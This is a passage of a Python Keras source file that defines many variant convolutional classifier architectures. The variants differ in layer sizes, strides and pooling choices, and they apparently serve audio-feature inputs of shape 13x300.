BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) # x3 = Activation('relu', name='relu3')(x3) # x4 = Conv2D(128, (3, 3), # kernel_initializer='orthogonal', # use_bias=False, trainable=True, # kernel_regularizer=l2(weight_decay), # padding='same', # name='conv3_2')(x3) # x4 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn4', trainable=True)(x4, training=False) # x4 = Activation('relu', name='relu4')(x4) # if pool == "max": # x4 = MaxPooling2D((2,2), strides=(1,2), padding="same", name="mpool4")(x4) # elif pool == "avg": # x4 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool4")(x4) # =============================================== # Convolution Block dynamic # =============================================== # x5 = Conv2D(128, (7,1), # kernel_initializer='orthogonal', # use_bias=False, trainable=True, # kernel_regularizer=l2(weight_decay), # padding='valid', # name='conv5')(x4) # x5 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn5', trainable=True)(x5, training=False) # x5 = Activation('relu', name='relu5')(x5) # =============================================== # GlobalAveragePooling # =============================================== # a1 = GlobalAveragePooling2D(name='avg_pool')(x5) # =============================================== # Dense layer # =============================================== # dense1 = Dense(128, activation='relu', # kernel_initializer='orthogonal', # use_bias=True, trainable=True, # kernel_regularizer=l2(weight_decay), # bias_regularizer=l2(weight_decay), # name='fc1')(a1) # =============================================== # Dropout layer # =============================================== # d2 = Dropout(0.2)(dense1) # =============================================== # Softmax layer # =============================================== # s1 = Dense(c.N_CLASS, activation='softmax', # kernel_initializer='orthogonal', # use_bias=False, trainable=True, # kernel_regularizer=l2(weight_decay), # bias_regularizer=l2(weight_decay), # name='prediction')(dense1) m = Model(inputs, x2, name='conNet') return m def conNet_74_inception_module(input_shape,weight_decay,pool): # =============================================== # train: 0 ~ 30 0.001 # 35 ~ 85 0.0001 # 90 ~ 115 0.00006(2) # =============================================== # =============================================== # input layer # =============================================== inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1_1 # =============================================== x1_1 = Conv2D(32,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1_1_1')(inputs) x1_1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1_1', trainable=True)(x1_1, training=False) x1_1 = Activation('relu', name='relu1_1')(x1_1) if pool == "max": x1_1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1_1")(x1_1) elif pool == "avg": x1_1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1_1")(x1_1) # =============================================== # Convolution Block 1_2 # =============================================== x1_2 = Conv2D(16, (1,1), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1_2_1')(inputs) x1_2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1_2', trainable=True)(x1_2, training=False) x1_2 = Activation('relu', name='relu1_2')(x1_2) if pool == "max": x1_2 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool1_2")(x1_2) elif pool == "avg": x1_2 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1_2")(x1_2) # =============================================== # Convolution Block 1_link # =============================================== x1 = concatenate([x1_1, x1_2], axis=-1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(64, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(96, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3_1')(x2) x3 = Conv2D(128, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2, 1), name='conv3_2')(x3) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x3) # a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== dense1 = Dense(128, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a1) # =============================================== # Dropout layer # =============================================== # d2 = Dropout(0.2)(dense1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(dense1) m = Model(inputs, s1, name='conNet') return m def conNet_79_13_300_3(input_shape,weight_decay,pool): # =============================================== # train: 0 ~ 30 0.001 # 35 ~ 85 0.0001 # 90 ~ 115 0.00006(2) # =============================================== # =============================================== # input layer # =============================================== inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(32,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1_1')(inputs) x1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1, training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(64, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(96, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3_1')(x2) x3 = Conv2D(128, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2, 1), name='conv3_2')(x3) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # Convolution Block 4 # =============================================== # x4 = Conv2D(128, (1,3), # kernel_initializer='orthogonal', # use_bias=False, trainable=True, # kernel_regularizer=l2(weight_decay), # padding='same', # strides=(1,2), # name='conv4')(x3) # x4 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn4', trainable=True)(x4, training=False) # x4 = Activation('relu', name='relu4')(x4) # if pool == "max": # x4 = MaxPooling2D((1,2), strides=(1,2), padding="same", name="mpool4")(x4) # elif pool == "avg": # x4 = AveragePooling2D((1, 2), strides=(1, 2), padding="same", name="avgpool4")(x4) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x3) a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== dense1 = Dense(128, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a2) # =============================================== # Dropout layer # =============================================== # d2 = Dropout(0.2)(dense1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(dense1) m = Model(inputs, s1, name='conNet') return m def conNet_75_13_300_3(input_shape,weight_decay,pool): # input_shape = (13,300,1) # input layer inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(32,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1_1')(inputs) x1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1, training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(64, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(128, (4, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2,1), name='conv3')(x2) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # Convolution Block 4 # =============================================== # x4 = Conv2D(128, (1,3), # kernel_initializer='orthogonal', # use_bias=False, trainable=True, # kernel_regularizer=l2(weight_decay), # padding='same', # strides=(1,2), # name='conv4')(x3) # x4 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn4', trainable=True)(x4, training=False) # x4 = Activation('relu', name='relu4')(x4) # if pool == "max": # x4 = MaxPooling2D((1,2), strides=(1,2), padding="same", name="mpool4")(x4) # elif pool == "avg": # x4 = AveragePooling2D((1, 2), strides=(1, 2), padding="same", name="avgpool4")(x4) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x3) a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== dense1 = Dense(128, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a2) # =============================================== # Dropout layer # =============================================== # d2 = Dropout(0.2)(dense1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(dense1) m = Model(inputs, s1, name='conNet') return m def conNet_69_13_300_1(input_shape,weight_decay,pool): # 转置之后归一化 # input layer inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(32,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1')(inputs) x1 = BatchNormalization(axis=3,epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1,training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(64, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2, 2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(128, (4, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2, 1), name='conv3')(x2) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # Convolution Block 4 # =============================================== # x4 = Conv2D(128, (1,6), # kernel_initializer='orthogonal', # use_bias=False, trainable=True, # kernel_regularizer=l2(weight_decay), # padding='same', # strides=(1,2), # name='conv4')(x3) # x4 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn4', trainable=True)(x4, training=False) # x4 = Activation('relu', name='relu4')(x4) # if pool == "max": # x4 = MaxPooling2D((1, 2), strides=(1, 2), padding="same", name="mpool4")(x4) # elif pool == "avg": # x4 = AveragePooling2D((1, 2), strides=(1, 2), padding="same", name="avgpool4")(x4) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x3) a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== d1 = Dense(128, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a2) # =============================================== # Dropout layer # =============================================== # d2 = Dropout(0.5)(d1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(d1) m = Model(inputs, s1, name='conNet') return m def conNet_65_13_300_1(input_shape,weight_decay,pool): # input layer inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(32,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1')(inputs) x1 = BatchNormalization(axis=3,epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1,training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(64, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2, 2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(128, (4, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2, 2), name='conv3')(x2) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # Convolution Block 4 # =============================================== # x4 = Conv2D(128, (1,6), # kernel_initializer='orthogonal', # use_bias=False, trainable=True, # kernel_regularizer=l2(weight_decay), # padding='same', # strides=(1,2), # name='conv4')(x3) # x4 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn4', trainable=True)(x4, training=False) # x4 = Activation('relu', name='relu4')(x4) # if pool == "max": # x4 = MaxPooling2D((1, 2), strides=(1, 2), padding="same", name="mpool4")(x4) # elif pool == "avg": # x4 = AveragePooling2D((1, 2), strides=(1, 2), padding="same", name="avgpool4")(x4) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x3) a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== d1 = Dense(128, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a2) # =============================================== # Dropout layer # =============================================== # d2 = Dropout(0.5)(d1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(d1) m = Model(inputs, s1, name='conNet') return m def conNet_0_300_13_N(input_shape,weight_decay,pool): # input layer inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(32,(5,5), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1')(inputs) x1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1, training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(64, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((1,2), strides=(1,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(64, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(1,2), name='conv3')(x2) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # Convolution Block 4 # =============================================== x4 = Conv2D(128, (1,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(1,2), name='conv4')(x3) x4 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn4', trainable=True)(x4, training=False) x4 = Activation('relu', name='relu4')(x4) if pool == "max": x4 = MaxPooling2D((1,2), strides=(1,2), padding="same", name="mpool4")(x4) elif pool == "avg": x4 = AveragePooling2D((1, 2), strides=(1, 2), padding="same", name="avgpool4")(x4) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x4) a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== dense1 = Dense(128, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a2) # =============================================== # Dropout layer # =============================================== # d2 = Dropout(0.2)(dense1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(dense1) m = Model(inputs, x1, name='conNet') return m def conNet_26_300_1(input_shape,weight_decay,pool): # input layer inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(32,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1')(inputs) x1 = BatchNormalization(axis=3,epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1,training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(64, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2, 2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(64, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2, 2), name='conv3')(x2) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # Convolution Block 4 # =============================================== x4 = Conv2D(128, (2,4), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(1,2), name='conv4')(x3) x4 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn4', trainable=True)(x4, training=False) x4 = Activation('relu', name='relu4')(x4) if pool == "max": x4 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool4")(x4) elif pool == "avg": x4 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool4")(x4) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x4) a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== d1 = Dense(128, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a2) # =============================================== # Dropout layer # =============================================== # d2 = Dropout(0.5)(d1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(d1) m = Model(inputs, s1, name='conNet') return m def conNet_26_300_0(input_shape,weight_decay,pool): # input layer inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(64,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1')(inputs) x1 = BatchNormalization(axis=3,epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1,training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(128, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2, 2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(128, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3')(x2) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # Convolution Block 4 # =============================================== x4 = Conv2D(128, (3,3), strides=(2,2), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv4')(x3) x4 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn4', trainable=True)(x4, training=False) x4 = Activation('relu', name='relu4')(x4) if pool == "max": x4 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool4")(x4) elif pool == "avg": x4 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool4")(x4) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x4) a2 = Reshape((1, 1, 128), name='reshape')(a1) # =============================================== # Dense layer # =============================================== d1 = Dense(128, activation='relu', kernel_initializer='orthogonal', use_bias=True, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='fc1')(a2) # =============================================== # Dropout layer # =============================================== # d2 = Dropout(0.5)(d1) # =============================================== # Softmax layer # =============================================== s1 = Dense(c.N_CLASS, activation='softmax', kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), bias_regularizer=l2(weight_decay), name='prediction')(d1) m = Model(inputs, s1, name='conNet') return m def conNet_40_300(input_shape,weight_decay,pool): # input layer inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(64,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1')(inputs) x1 = BatchNormalization(axis=3,epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1,training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(64, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2, 2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(128, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3')(x2) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # Convolution Block 4 # =============================================== x4 = Conv2D(128, (3,3), strides=(2,2), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv4')(x3) x4 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn4', trainable=True)(x4, training=False) x4 = Activation('relu', name='relu4')(x4) if pool == "max": x4 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool4")(x4) elif pool == "avg": x4 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool4")(x4) # =============================================== # Convolution Block 5 # =============================================== x5 = Conv2D(256, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv5')(x4) x5 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn5', trainable=True)(x5, training=False) x5 = Activation('relu', name='relu5')(x5) if pool == "max": x5 = MaxPooling2D((2, 2), strides=(2, 2), padding="same", name="mpool5")(x5) elif pool == "avg": x5 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool5")(x5) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x5) a2 = Reshape((1, 1, 256), 